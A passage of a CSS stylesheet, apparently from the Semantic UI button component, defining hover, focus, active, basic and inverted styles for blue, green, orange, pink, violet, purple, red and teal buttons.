  text-shadow: none;
  background-image: none;
}

.ui.blue.button {
  box-shadow: 0px 0em 0px 0px rgba(34, 36, 38, 0.15) inset;
}

.ui.blue.buttons .button:hover,
.ui.blue.button:hover {
  background-color: #1678c2;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.blue.buttons .button:focus,
.ui.blue.button:focus {
  background-color: #0d71bb;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.blue.buttons .button:active,
.ui.blue.button:active {
  background-color: #1a69a4;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.blue.buttons .active.button,
.ui.blue.buttons .active.button:active,
.ui.blue.active.button,
.ui.blue.button .active.button:active {
  background-color: #1279c6;
  color: #FFFFFF;
  text-shadow: none;
}

/* Basic */

.ui.basic.blue.buttons .button,
.ui.basic.blue.button {
  box-shadow: 0px 0px 0px 1px #2185D0 inset !important;
  color: #2185D0 !important;
}

.ui.basic.blue.buttons .button:hover,
.ui.basic.blue.button:hover {
  background: transparent !important;
  box-shadow: 0px 0px 0px 1px #1678c2 inset !important;
  color: #1678c2 !important;
}

.ui.basic.blue.buttons .button:focus,
.ui.basic.blue.button:focus {
  background: transparent !important;
  box-shadow: 0px 0px 0px 1px #0d71bb inset !important;
  color: #1678c2 !important;
}

.ui.basic.blue.buttons .active.button,
.ui.basic.blue.active.button {
  background: transparent !important;
  box-shadow: 0px 0px 0px 1px #1279c6 inset !important;
  color: #1a69a4 !important;
}

.ui.basic.blue.buttons .button:active,
.ui.basic.blue.button:active {
  box-shadow: 0px 0px 0px 1px #1a69a4 inset !important;
  color: #1a69a4 !important;
}

.ui.buttons:not(.vertical) > .basic.blue.button:not(:first-child) {
  margin-left: -1px;
}

/* Inverted */

.ui.inverted.blue.buttons .button,
.ui.inverted.blue.button {
  background-color: transparent;
  box-shadow: 0px 0px 0px 2px #54C8FF inset !important;
  color: #54C8FF;
}

.ui.inverted.blue.buttons .button:hover,
.ui.inverted.blue.button:hover,
.ui.inverted.blue.buttons .button:focus,
.ui.inverted.blue.button:focus,
.ui.inverted.blue.buttons .button.active,
.ui.inverted.blue.button.active,
.ui.inverted.blue.buttons .button:active,
.ui.inverted.blue.button:active {
  box-shadow: none !important;
  color: #FFFFFF;
}

.ui.inverted.blue.buttons .button:hover,
.ui.inverted.blue.button:hover {
  background-color: #3ac0ff;
}

.ui.inverted.blue.buttons .button:focus,
.ui.inverted.blue.button:focus {
  background-color: #2bbbff;
}

.ui.inverted.blue.buttons .active.button,
.ui.inverted.blue.active.button {
  background-color: #3ac0ff;
}

.ui.inverted.blue.buttons .button:active,
.ui.inverted.blue.button:active {
  background-color: #21b8ff;
}

/* Inverted Basic */

.ui.inverted.blue.basic.buttons .button,
.ui.inverted.blue.buttons .basic.button,
.ui.inverted.blue.basic.button {
  background-color: transparent;
  box-shadow: 0px 0px 0px 2px rgba(255, 255, 255, 0.5) inset !important;
  color: #FFFFFF !important;
}

.ui.inverted.blue.basic.buttons .button:hover,
.ui.inverted.blue.buttons .basic.button:hover,
.ui.inverted.blue.basic.button:hover {
  box-shadow: 0px 0px 0px 2px #3ac0ff inset !important;
  color: #54C8FF !important;
}

.ui.inverted.blue.basic.buttons .button:focus,
.ui.inverted.blue.basic.buttons .button:focus,
.ui.inverted.blue.basic.button:focus {
  box-shadow: 0px 0px 0px 2px #2bbbff inset !important;
  color: #54C8FF !important;
}

.ui.inverted.blue.basic.buttons .active.button,
.ui.inverted.blue.buttons .basic.active.button,
.ui.inverted.blue.basic.active.button {
  box-shadow: 0px 0px 0px 2px #3ac0ff inset !important;
  color: #54C8FF !important;
}

.ui.inverted.blue.basic.buttons .button:active,
.ui.inverted.blue.buttons .basic.button:active,
.ui.inverted.blue.basic.button:active {
  box-shadow: 0px 0px 0px 2px #21b8ff inset !important;
  color: #54C8FF !important;
}

/*--- Green ---*/

.ui.green.buttons .button,
.ui.green.button {
  background-color: #21BA45;
  color: #FFFFFF;
  text-shadow: none;
  background-image: none;
}

.ui.green.button {
  box-shadow: 0px 0em 0px 0px rgba(34, 36, 38, 0.15) inset;
}

.ui.green.buttons .button:hover,
.ui.green.button:hover {
  background-color: #16ab39;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.green.buttons .button:focus,
.ui.green.button:focus {
  background-color: #0ea432;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.green.buttons .button:active,
.ui.green.button:active {
  background-color: #198f35;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.green.buttons .active.button,
.ui.green.buttons .active.button:active,
.ui.green.active.button,
.ui.green.button .active.button:active {
  background-color: #13ae38;
  color: #FFFFFF;
  text-shadow: none;
}

/* Basic */

.ui.basic.green.buttons .button,
.ui.basic.green.button {
  box-shadow: 0px 0px 0px 1px #21BA45 inset !important;
  color: #21BA45 !important;
}

.ui.basic.green.buttons .button:hover,
.ui.basic.green.button:hover {
  background: transparent !important;
  box-shadow: 0px 0px 0px 1px #16ab39 inset !important;
  color: #16ab39 !important;
}

.ui.basic.green.buttons .button:focus,
.ui.basic.green.button:focus {
  background: transparent !important;
  box-shadow: 0px 0px 0px 1px #0ea432 inset !important;
  color: #16ab39 !important;
}

.ui.basic.green.buttons .active.button,
.ui.basic.green.active.button {
  background: transparent !important;
  box-shadow: 0px 0px 0px 1px #13ae38 inset !important;
  color: #198f35 !important;
}

.ui.basic.green.buttons .button:active,
.ui.basic.green.button:active {
  box-shadow: 0px 0px 0px 1px #198f35 inset !important;
  color: #198f35 !important;
}

.ui.buttons:not(.vertical) > .basic.green.button:not(:first-child) {
  margin-left: -1px;
}

/* Inverted */

.ui.inverted.green.buttons .button,
.ui.inverted.green.button {
  background-color: transparent;
  box-shadow: 0px 0px 0px 2px #2ECC40 inset !important;
  color: #2ECC40;
}

.ui.inverted.green.buttons .button:hover,
.ui.inverted.green.button:hover,
.ui.inverted.green.buttons .button:focus,
.ui.inverted.green.button:focus,
.ui.inverted.green.buttons .button.active,
.ui.inverted.green.button.active,
.ui.inverted.green.buttons .button:active,
.ui.inverted.green.button:active {
  box-shadow: none !important;
  color: #FFFFFF;
}

.ui.inverted.green.buttons .button:hover,
.ui.inverted.green.button:hover {
  background-color: #22be34;
}

.ui.inverted.green.buttons .button:focus,
.ui.inverted.green.button:focus {
  background-color: #19b82b;
}

.ui.inverted.green.buttons .active.button,
.ui.inverted.green.active.button {
  background-color: #1fc231;
}

.ui.inverted.green.buttons .button:active,
.ui.inverted.green.button:active {
  background-color: #25a233;
}

/* Inverted Basic */

.ui.inverted.green.basic.buttons .button,
.ui.inverted.green.buttons .basic.button,
.ui.inverted.green.basic.button {
  background-color: transparent;
  box-shadow: 0px 0px 0px 2px rgba(255, 255, 255, 0.5) inset !important;
  color: #FFFFFF !important;
}

.ui.inverted.green.basic.buttons .button:hover,
.ui.inverted.green.buttons .basic.button:hover,
.ui.inverted.green.basic.button:hover {
  box-shadow: 0px 0px 0px 2px #22be34 inset !important;
  color: #2ECC40 !important;
}

.ui.inverted.green.basic.buttons .button:focus,
.ui.inverted.green.basic.buttons .button:focus,
.ui.inverted.green.basic.button:focus {
  box-shadow: 0px 0px 0px 2px #19b82b inset !important;
  color: #2ECC40 !important;
}

.ui.inverted.green.basic.buttons .active.button,
.ui.inverted.green.buttons .basic.active.button,
.ui.inverted.green.basic.active.button {
  box-shadow: 0px 0px 0px 2px #1fc231 inset !important;
  color: #2ECC40 !important;
}

.ui.inverted.green.basic.buttons .button:active,
.ui.inverted.green.buttons .basic.button:active,
.ui.inverted.green.basic.button:active {
  box-shadow: 0px 0px 0px 2px #25a233 inset !important;
  color: #2ECC40 !important;
}

/*--- Orange ---*/

.ui.orange.buttons .button,
.ui.orange.button {
  background-color: #F2711C;
  color: #FFFFFF;
  text-shadow: none;
  background-image: none;
}

.ui.orange.button {
  box-shadow: 0px 0em 0px 0px rgba(34, 36, 38, 0.15) inset;
}

.ui.orange.buttons .button:hover,
.ui.orange.button:hover {
  background-color: #f26202;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.orange.buttons .button:focus,
.ui.orange.button:focus {
  background-color: #e55b00;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.orange.buttons .button:active,
.ui.orange.button:active {
  background-color: #cf590c;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.orange.buttons .active.button,
.ui.orange.buttons .active.button:active,
.ui.orange.active.button,
.ui.orange.button .active.button:active {
  background-color: #f56100;
  color: #FFFFFF;
  text-shadow: none;
}

/* Basic */

.ui.basic.orange.buttons .button,
.ui.basic.orange.button {
  box-shadow: 0px 0px 0px 1px #F2711C inset !important;
  color: #F2711C !important;
}

.ui.basic.orange.buttons .button:hover,
.ui.basic.orange.button:hover {
  background: transparent !important;
  box-shadow: 0px 0px 0px 1px #f26202 inset !important;
  color: #f26202 !important;
}

.ui.basic.orange.buttons .button:focus,
.ui.basic.orange.button:focus {
  background: transparent !important;
  box-shadow: 0px 0px 0px 1px #e55b00 inset !important;
  color: #f26202 !important;
}

.ui.basic.orange.buttons .active.button,
.ui.basic.orange.active.button {
  background: transparent !important;
  box-shadow: 0px 0px 0px 1px #f56100 inset !important;
  color: #cf590c !important;
}

.ui.basic.orange.buttons .button:active,
.ui.basic.orange.button:active {
  box-shadow: 0px 0px 0px 1px #cf590c inset !important;
  color: #cf590c !important;
}

.ui.buttons:not(.vertical) > .basic.orange.button:not(:first-child) {
  margin-left: -1px;
}

/* Inverted */

.ui.inverted.orange.buttons .button,
.ui.inverted.orange.button {
  background-color: transparent;
  box-shadow: 0px 0px 0px 2px #FF851B inset !important;
  color: #FF851B;
}

.ui.inverted.orange.buttons .button:hover,
.ui.inverted.orange.button:hover,
.ui.inverted.orange.buttons .button:focus,
.ui.inverted.orange.button:focus,
.ui.inverted.orange.buttons .button.active,
.ui.inverted.orange.button.active,
.ui.inverted.orange.buttons .button:active,
.ui.inverted.orange.button:active {
  box-shadow: none !important;
  color: #FFFFFF;
}

.ui.inverted.orange.buttons .button:hover,
.ui.inverted.orange.button:hover {
  background-color: #ff7701;
}

.ui.inverted.orange.buttons .button:focus,
.ui.inverted.orange.button:focus {
  background-color: #f17000;
}

.ui.inverted.orange.buttons .active.button,
.ui.inverted.orange.active.button {
  background-color: #ff7701;
}

.ui.inverted.orange.buttons .button:active,
.ui.inverted.orange.button:active {
  background-color: #e76b00;
}

/* Inverted Basic */

.ui.inverted.orange.basic.buttons .button,
.ui.inverted.orange.buttons .basic.button,
.ui.inverted.orange.basic.button {
  background-color: transparent;
  box-shadow: 0px 0px 0px 2px rgba(255, 255, 255, 0.5) inset !important;
  color: #FFFFFF !important;
}

.ui.inverted.orange.basic.buttons .button:hover,
.ui.inverted.orange.buttons .basic.button:hover,
.ui.inverted.orange.basic.button:hover {
  box-shadow: 0px 0px 0px 2px #ff7701 inset !important;
  color: #FF851B !important;
}

.ui.inverted.orange.basic.buttons .button:focus,
.ui.inverted.orange.basic.buttons .button:focus,
.ui.inverted.orange.basic.button:focus {
  box-shadow: 0px 0px 0px 2px #f17000 inset !important;
  color: #FF851B !important;
}

.ui.inverted.orange.basic.buttons .active.button,
.ui.inverted.orange.buttons .basic.active.button,
.ui.inverted.orange.basic.active.button {
  box-shadow: 0px 0px 0px 2px #ff7701 inset !important;
  color: #FF851B !important;
}

.ui.inverted.orange.basic.buttons .button:active,
.ui.inverted.orange.buttons .basic.button:active,
.ui.inverted.orange.basic.button:active {
  box-shadow: 0px 0px 0px 2px #e76b00 inset !important;
  color: #FF851B !important;
}

/*--- Pink ---*/

.ui.pink.buttons .button,
.ui.pink.button {
  background-color: #E03997;
  color: #FFFFFF;
  text-shadow: none;
  background-image: none;
}

.ui.pink.button {
  box-shadow: 0px 0em 0px 0px rgba(34, 36, 38, 0.15) inset;
}

.ui.pink.buttons .button:hover,
.ui.pink.button:hover {
  background-color: #e61a8d;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.pink.buttons .button:focus,
.ui.pink.button:focus {
  background-color: #e10f85;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.pink.buttons .button:active,
.ui.pink.button:active {
  background-color: #c71f7e;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.pink.buttons .active.button,
.ui.pink.buttons .active.button:active,
.ui.pink.active.button,
.ui.pink.button .active.button:active {
  background-color: #ea158d;
  color: #FFFFFF;
  text-shadow: none;
}

/* Basic */

.ui.basic.pink.buttons .button,
.ui.basic.pink.button {
  box-shadow: 0px 0px 0px 1px #E03997 inset !important;
  color: #E03997 !important;
}

.ui.basic.pink.buttons .button:hover,
.ui.basic.pink.button:hover {
  background: transparent !important;
  box-shadow: 0px 0px 0px 1px #e61a8d inset !important;
  color: #e61a8d !important;
}

.ui.basic.pink.buttons .button:focus,
.ui.basic.pink.button:focus {
  background: transparent !important;
  box-shadow: 0px 0px 0px 1px #e10f85 inset !important;
  color: #e61a8d !important;
}

.ui.basic.pink.buttons .active.button,
.ui.basic.pink.active.button {
  background: transparent !important;
  box-shadow: 0px 0px 0px 1px #ea158d inset !important;
  color: #c71f7e !important;
}

.ui.basic.pink.buttons .button:active,
.ui.basic.pink.button:active {
  box-shadow: 0px 0px 0px 1px #c71f7e inset !important;
  color: #c71f7e !important;
}

.ui.buttons:not(.vertical) > .basic.pink.button:not(:first-child) {
  margin-left: -1px;
}

/* Inverted */

.ui.inverted.pink.buttons .button,
.ui.inverted.pink.button {
  background-color: transparent;
  box-shadow: 0px 0px 0px 2px #FF8EDF inset !important;
  color: #FF8EDF;
}

.ui.inverted.pink.buttons .button:hover,
.ui.inverted.pink.button:hover,
.ui.inverted.pink.buttons .button:focus,
.ui.inverted.pink.button:focus,
.ui.inverted.pink.buttons .button.active,
.ui.inverted.pink.button.active,
.ui.inverted.pink.buttons .button:active,
.ui.inverted.pink.button:active {
  box-shadow: none !important;
  color: #FFFFFF;
}

.ui.inverted.pink.buttons .button:hover,
.ui.inverted.pink.button:hover {
  background-color: #ff74d8;
}

.ui.inverted.pink.buttons .button:focus,
.ui.inverted.pink.button:focus {
  background-color: #ff65d3;
}

.ui.inverted.pink.buttons .active.button,
.ui.inverted.pink.active.button {
  background-color: #ff74d8;
}

.ui.inverted.pink.buttons .button:active,
.ui.inverted.pink.button:active {
  background-color: #ff5bd1;
}

/* Inverted Basic */

.ui.inverted.pink.basic.buttons .button,
.ui.inverted.pink.buttons .basic.button,
.ui.inverted.pink.basic.button {
  background-color: transparent;
  box-shadow: 0px 0px 0px 2px rgba(255, 255, 255, 0.5) inset !important;
  color: #FFFFFF !important;
}

.ui.inverted.pink.basic.buttons .button:hover,
.ui.inverted.pink.buttons .basic.button:hover,
.ui.inverted.pink.basic.button:hover {
  box-shadow: 0px 0px 0px 2px #ff74d8 inset !important;
  color: #FF8EDF !important;
}

.ui.inverted.pink.basic.buttons .button:focus,
.ui.inverted.pink.basic.buttons .button:focus,
.ui.inverted.pink.basic.button:focus {
  box-shadow: 0px 0px 0px 2px #ff65d3 inset !important;
  color: #FF8EDF !important;
}

.ui.inverted.pink.basic.buttons .active.button,
.ui.inverted.pink.buttons .basic.active.button,
.ui.inverted.pink.basic.active.button {
  box-shadow: 0px 0px 0px 2px #ff74d8 inset !important;
  color: #FF8EDF !important;
}

.ui.inverted.pink.basic.buttons .button:active,
.ui.inverted.pink.buttons .basic.button:active,
.ui.inverted.pink.basic.button:active {
  box-shadow: 0px 0px 0px 2px #ff5bd1 inset !important;
  color: #FF8EDF !important;
}

/*--- Violet ---*/

.ui.violet.buttons .button,
.ui.violet.button {
  background-color: #6435C9;
  color: #FFFFFF;
  text-shadow: none;
  background-image: none;
}

.ui.violet.button {
  box-shadow: 0px 0em 0px 0px rgba(34, 36, 38, 0.15) inset;
}

.ui.violet.buttons .button:hover,
.ui.violet.button:hover {
  background-color: #5829bb;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.violet.buttons .button:focus,
.ui.violet.button:focus {
  background-color: #4f20b5;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.violet.buttons .button:active,
.ui.violet.button:active {
  background-color: #502aa1;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.violet.buttons .active.button,
.ui.violet.buttons .active.button:active,
.ui.violet.active.button,
.ui.violet.button .active.button:active {
  background-color: #5626bf;
  color: #FFFFFF;
  text-shadow: none;
}

/* Basic */

.ui.basic.violet.buttons .button,
.ui.basic.violet.button {
  box-shadow: 0px 0px 0px 1px #6435C9 inset !important;
  color: #6435C9 !important;
}

.ui.basic.violet.buttons .button:hover,
.ui.basic.violet.button:hover {
  background: transparent !important;
  box-shadow: 0px 0px 0px 1px #5829bb inset !important;
  color: #5829bb !important;
}

.ui.basic.violet.buttons .button:focus,
.ui.basic.violet.button:focus {
  background: transparent !important;
  box-shadow: 0px 0px 0px 1px #4f20b5 inset !important;
  color: #5829bb !important;
}

.ui.basic.violet.buttons .active.button,
.ui.basic.violet.active.button {
  background: transparent !important;
  box-shadow: 0px 0px 0px 1px #5626bf inset !important;
  color: #502aa1 !important;
}

.ui.basic.violet.buttons .button:active,
.ui.basic.violet.button:active {
  box-shadow: 0px 0px 0px 1px #502aa1 inset !important;
  color: #502aa1 !important;
}

.ui.buttons:not(.vertical) > .basic.violet.button:not(:first-child) {
  margin-left: -1px;
}

/* Inverted */

.ui.inverted.violet.buttons .button,
.ui.inverted.violet.button {
  background-color: transparent;
  box-shadow: 0px 0px 0px 2px #A291FB inset !important;
  color: #A291FB;
}

.ui.inverted.violet.buttons .button:hover,
.ui.inverted.violet.button:hover,
.ui.inverted.violet.buttons .button:focus,
.ui.inverted.violet.button:focus,
.ui.inverted.violet.buttons .button.active,
.ui.inverted.violet.button.active,
.ui.inverted.violet.buttons .button:active,
.ui.inverted.violet.button:active {
  box-shadow: none !important;
  color: #FFFFFF;
}

.ui.inverted.violet.buttons .button:hover,
.ui.inverted.violet.button:hover {
  background-color: #8a73ff;
}

.ui.inverted.violet.buttons .button:focus,
.ui.inverted.violet.button:focus {
  background-color: #7d64ff;
}

.ui.inverted.violet.buttons .active.button,
.ui.inverted.violet.active.button {
  background-color: #8a73ff;
}

.ui.inverted.violet.buttons .button:active,
.ui.inverted.violet.button:active {
  background-color: #7860f9;
}

/* Inverted Basic */

.ui.inverted.violet.basic.buttons .button,
.ui.inverted.violet.buttons .basic.button,
.ui.inverted.violet.basic.button {
  background-color: transparent;
  box-shadow: 0px 0px 0px 2px rgba(255, 255, 255, 0.5) inset !important;
  color: #FFFFFF !important;
}

.ui.inverted.violet.basic.buttons .button:hover,
.ui.inverted.violet.buttons .basic.button:hover,
.ui.inverted.violet.basic.button:hover {
  box-shadow: 0px 0px 0px 2px #8a73ff inset !important;
  color: #A291FB !important;
}

.ui.inverted.violet.basic.buttons .button:focus,
.ui.inverted.violet.basic.buttons .button:focus,
.ui.inverted.violet.basic.button:focus {
  box-shadow: 0px 0px 0px 2px #7d64ff inset !important;
  color: #A291FB !important;
}

.ui.inverted.violet.basic.buttons .active.button,
.ui.inverted.violet.buttons .basic.active.button,
.ui.inverted.violet.basic.active.button {
  box-shadow: 0px 0px 0px 2px #8a73ff inset !important;
  color: #A291FB !important;
}

.ui.inverted.violet.basic.buttons .button:active,
.ui.inverted.violet.buttons .basic.button:active,
.ui.inverted.violet.basic.button:active {
  box-shadow: 0px 0px 0px 2px #7860f9 inset !important;
  color: #A291FB !important;
}

/*--- Purple ---*/

.ui.purple.buttons .button,
.ui.purple.button {
  background-color: #A333C8;
  color: #FFFFFF;
  text-shadow: none;
  background-image: none;
}

.ui.purple.button {
  box-shadow: 0px 0em 0px 0px rgba(34, 36, 38, 0.15) inset;
}

.ui.purple.buttons .button:hover,
.ui.purple.button:hover {
  background-color: #9627ba;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.purple.buttons .button:focus,
.ui.purple.button:focus {
  background-color: #8f1eb4;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.purple.buttons .button:active,
.ui.purple.button:active {
  background-color: #82299f;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.purple.buttons .active.button,
.ui.purple.buttons .active.button:active,
.ui.purple.active.button,
.ui.purple.button .active.button:active {
  background-color: #9724be;
  color: #FFFFFF;
  text-shadow: none;
}

/* Basic */

.ui.basic.purple.buttons .button,
.ui.basic.purple.button {
  box-shadow: 0px 0px 0px 1px #A333C8 inset !important;
  color: #A333C8 !important;
}

.ui.basic.purple.buttons .button:hover,
.ui.basic.purple.button:hover {
  background: transparent !important;
  box-shadow: 0px 0px 0px 1px #9627ba inset !important;
  color: #9627ba !important;
}

.ui.basic.purple.buttons .button:focus,
.ui.basic.purple.button:focus {
  background: transparent !important;
  box-shadow: 0px 0px 0px 1px #8f1eb4 inset !important;
  color: #9627ba !important;
}

.ui.basic.purple.buttons .active.button,
.ui.basic.purple.active.button {
  background: transparent !important;
  box-shadow: 0px 0px 0px 1px #9724be inset !important;
  color: #82299f !important;
}

.ui.basic.purple.buttons .button:active,
.ui.basic.purple.button:active {
  box-shadow: 0px 0px 0px 1px #82299f inset !important;
  color: #82299f !important;
}

.ui.buttons:not(.vertical) > .basic.purple.button:not(:first-child) {
  margin-left: -1px;
}

/* Inverted */

.ui.inverted.purple.buttons .button,
.ui.inverted.purple.button {
  background-color: transparent;
  box-shadow: 0px 0px 0px 2px #DC73FF inset !important;
  color: #DC73FF;
}

.ui.inverted.purple.buttons .button:hover,
.ui.inverted.purple.button:hover,
.ui.inverted.purple.buttons .button:focus,
.ui.inverted.purple.button:focus,
.ui.inverted.purple.buttons .button.active,
.ui.inverted.purple.button.active,
.ui.inverted.purple.buttons .button:active,
.ui.inverted.purple.button:active {
  box-shadow: none !important;
  color: #FFFFFF;
}

.ui.inverted.purple.buttons .button:hover,
.ui.inverted.purple.button:hover {
  background-color: #d65aff;
}

.ui.inverted.purple.buttons .button:focus,
.ui.inverted.purple.button:focus {
  background-color: #d24aff;
}

.ui.inverted.purple.buttons .active.button,
.ui.inverted.purple.active.button {
  background-color: #d65aff;
}

.ui.inverted.purple.buttons .button:active,
.ui.inverted.purple.button:active {
  background-color: #cf40ff;
}

/* Inverted Basic */

.ui.inverted.purple.basic.buttons .button,
.ui.inverted.purple.buttons .basic.button,
.ui.inverted.purple.basic.button {
  background-color: transparent;
  box-shadow: 0px 0px 0px 2px rgba(255, 255, 255, 0.5) inset !important;
  color: #FFFFFF !important;
}

.ui.inverted.purple.basic.buttons .button:hover,
.ui.inverted.purple.buttons .basic.button:hover,
.ui.inverted.purple.basic.button:hover {
  box-shadow: 0px 0px 0px 2px #d65aff inset !important;
  color: #DC73FF !important;
}

.ui.inverted.purple.basic.buttons .button:focus,
.ui.inverted.purple.basic.buttons .button:focus,
.ui.inverted.purple.basic.button:focus {
  box-shadow: 0px 0px 0px 2px #d24aff inset !important;
  color: #DC73FF !important;
}

.ui.inverted.purple.basic.buttons .active.button,
.ui.inverted.purple.buttons .basic.active.button,
.ui.inverted.purple.basic.active.button {
  box-shadow: 0px 0px 0px 2px #d65aff inset !important;
  color: #DC73FF !important;
}

.ui.inverted.purple.basic.buttons .button:active,
.ui.inverted.purple.buttons .basic.button:active,
.ui.inverted.purple.basic.button:active {
  box-shadow: 0px 0px 0px 2px #cf40ff inset !important;
  color: #DC73FF !important;
}

/*--- Red ---*/

.ui.red.buttons .button,
.ui.red.button {
  background-color: #DB2828;
  color: #FFFFFF;
  text-shadow: none;
  background-image: none;
}

.ui.red.button {
  box-shadow: 0px 0em 0px 0px rgba(34, 36, 38, 0.15) inset;
}

.ui.red.buttons .button:hover,
.ui.red.button:hover {
  background-color: #d01919;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.red.buttons .button:focus,
.ui.red.button:focus {
  background-color: #ca1010;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.red.buttons .button:active,
.ui.red.button:active {
  background-color: #b21e1e;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.red.buttons .active.button,
.ui.red.buttons .active.button:active,
.ui.red.active.button,
.ui.red.button .active.button:active {
  background-color: #d41515;
  color: #FFFFFF;
  text-shadow: none;
}

/* Basic */

.ui.basic.red.buttons .button,
.ui.basic.red.button {
  box-shadow: 0px 0px 0px 1px #DB2828 inset !important;
  color: #DB2828 !important;
}

.ui.basic.red.buttons .button:hover,
.ui.basic.red.button:hover {
  background: transparent !important;
  box-shadow: 0px 0px 0px 1px #d01919 inset !important;
  color: #d01919 !important;
}

.ui.basic.red.buttons .button:focus,
.ui.basic.red.button:focus {
  background: transparent !important;
  box-shadow: 0px 0px 0px 1px #ca1010 inset !important;
  color: #d01919 !important;
}

.ui.basic.red.buttons .active.button,
.ui.basic.red.active.button {
  background: transparent !important;
  box-shadow: 0px 0px 0px 1px #d41515 inset !important;
  color: #b21e1e !important;
}

.ui.basic.red.buttons .button:active,
.ui.basic.red.button:active {
  box-shadow: 0px 0px 0px 1px #b21e1e inset !important;
  color: #b21e1e !important;
}

.ui.buttons:not(.vertical) > .basic.red.button:not(:first-child) {
  margin-left: -1px;
}

/* Inverted */

.ui.inverted.red.buttons .button,
.ui.inverted.red.button {
  background-color: transparent;
  box-shadow: 0px 0px 0px 2px #FF695E inset !important;
  color: #FF695E;
}

.ui.inverted.red.buttons .button:hover,
.ui.inverted.red.button:hover,
.ui.inverted.red.buttons .button:focus,
.ui.inverted.red.button:focus,
.ui.inverted.red.buttons .button.active,
.ui.inverted.red.button.active,
.ui.inverted.red.buttons .button:active,
.ui.inverted.red.button:active {
  box-shadow: none !important;
  color: #FFFFFF;
}

.ui.inverted.red.buttons .button:hover,
.ui.inverted.red.button:hover {
  background-color: #ff5144;
}

.ui.inverted.red.buttons .button:focus,
.ui.inverted.red.button:focus {
  background-color: #ff4335;
}

.ui.inverted.red.buttons .active.button,
.ui.inverted.red.active.button {
  background-color: #ff5144;
}

.ui.inverted.red.buttons .button:active,
.ui.inverted.red.button:active {
  background-color: #ff392b;
}

/* Inverted Basic */

.ui.inverted.red.basic.buttons .button,
.ui.inverted.red.buttons .basic.button,
.ui.inverted.red.basic.button {
  background-color: transparent;
  box-shadow: 0px 0px 0px 2px rgba(255, 255, 255, 0.5) inset !important;
  color: #FFFFFF !important;
}

.ui.inverted.red.basic.buttons .button:hover,
.ui.inverted.red.buttons .basic.button:hover,
.ui.inverted.red.basic.button:hover {
  box-shadow: 0px 0px 0px 2px #ff5144 inset !important;
  color: #FF695E !important;
}

.ui.inverted.red.basic.buttons .button:focus,
.ui.inverted.red.basic.buttons .button:focus,
.ui.inverted.red.basic.button:focus {
  box-shadow: 0px 0px 0px 2px #ff4335 inset !important;
  color: #FF695E !important;
}

.ui.inverted.red.basic.buttons .active.button,
.ui.inverted.red.buttons .basic.active.button,
.ui.inverted.red.basic.active.button {
  box-shadow: 0px 0px 0px 2px #ff5144 inset !important;
  color: #FF695E !important;
}

.ui.inverted.red.basic.buttons .button:active,
.ui.inverted.red.buttons .basic.button:active,
.ui.inverted.red.basic.button:active {
  box-shadow: 0px 0px 0px 2px #ff392b inset !important;
  color: #FF695E !important;
}

/*--- Teal ---*/

.ui.teal.buttons .button,
.ui.teal.button {
  background-color: #00B5AD;
  color: #FFFFFF;
  text-shadow: none;
  background-image: none;
}

.ui.teal.button {
  box-shadow: 0px 0em 0px 0px rgba(34, 36, 38, 0.15) inset;
}

.ui.teal.buttons .button:hover,
.ui.teal.button:hover {
  background-color: #009c95;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.teal.buttons .button:focus,
.ui.teal.button:focus {
  background-color: #008c86;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.teal.buttons .button:active,
.ui.teal.button:active {
  background-color: #00827c;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.teal.buttons .active.button,
.ui.teal.buttons .active.button:active,
.ui.teal.active.button,
.ui.teal.button .active.button:active {
  background-color: #009c95;
  color: #FFFFFF;
  text-shadow: none;
}

/* Basic */

.ui.basic.teal.buttons .button,
.ui.basic.teal.button {
  box-shadow: 0px 0px 0px 1px #00B5AD inset !important;
  color: #00B5AD !important;
}

.ui.basic.teal.buttons .button:hover,
.ui.basic.teal.button:hover {
  background: transparent !important;
  box-shadow: 0px 0px 0px 1px #009c95 inset !important;
  color: #009c95 !important;
}

.ui.basic.teal.buttons .button:focus,
.ui.basic.teal.button:focus {
  background: transparent !important;
  box-shadow: 0px 0px 0px 1px #008c86 inset !important;
  color: #009c95 !important;
}

.ui.basic.teal.buttons .active.button,
.ui.basic.teal.active.button {
  background: transparent !important;
  box-shadow: 0px 0px 0px 1px #009c95 inset !important;
  color: #00827c !important;
}

.ui.basic.teal.buttons .button:active,
.ui.basic.teal.button:active {
  box-shadow: 0px 0px 0px 1px #00827c inset !important;
  color: #00827c !important;
}

.ui.buttons:not(.vertical) > .basic.teal.button:not(:first-child) {
  margin-left: -1px;
}

/* Inverted */

.ui.inverted.teal.buttons .button,
.ui.inverted.teal.button {
  background-color: transparent;
  box-shadow: 0px 0px 0px 2px #6DFFFF inset !important;
  color: #6DFFFF;
}

.ui.inverted.teal.buttons .button:hover,
.ui.inverted.teal.button:hover,
.ui.inverted.teal.buttons .button:focus,
.ui.inverted.teal.button:focus,
.ui.inverted.teal.buttons .button.active,
.ui.inverted.teal.button.active,
.ui.inverted.teal.buttons .button:active,
.ui.inverted.teal.button:active {
  box-shadow: none !important;
  color: rgba(0, 0, 0, 0.6);
}

.ui.inverted.teal.buttons .button:hover,
.ui.inverted.teal.button:hover {
  background-color: #54ffff;
}

.ui.inverted.teal.buttons .button:focus,
.ui.inverted.teal.button:focus {
  background-color: #44ffff;
}

.ui.inverted.teal.buttons .active.button,
.ui.inverted.teal.active.button {
  background-color: #54ffff;
}

.ui.inverted.teal.buttons .button:active,
.ui.inverted.teal.button:active {
  background-color: #3affff;
}

/* Inverted Basic */

.ui.inverted.teal.basic.buttons .button,
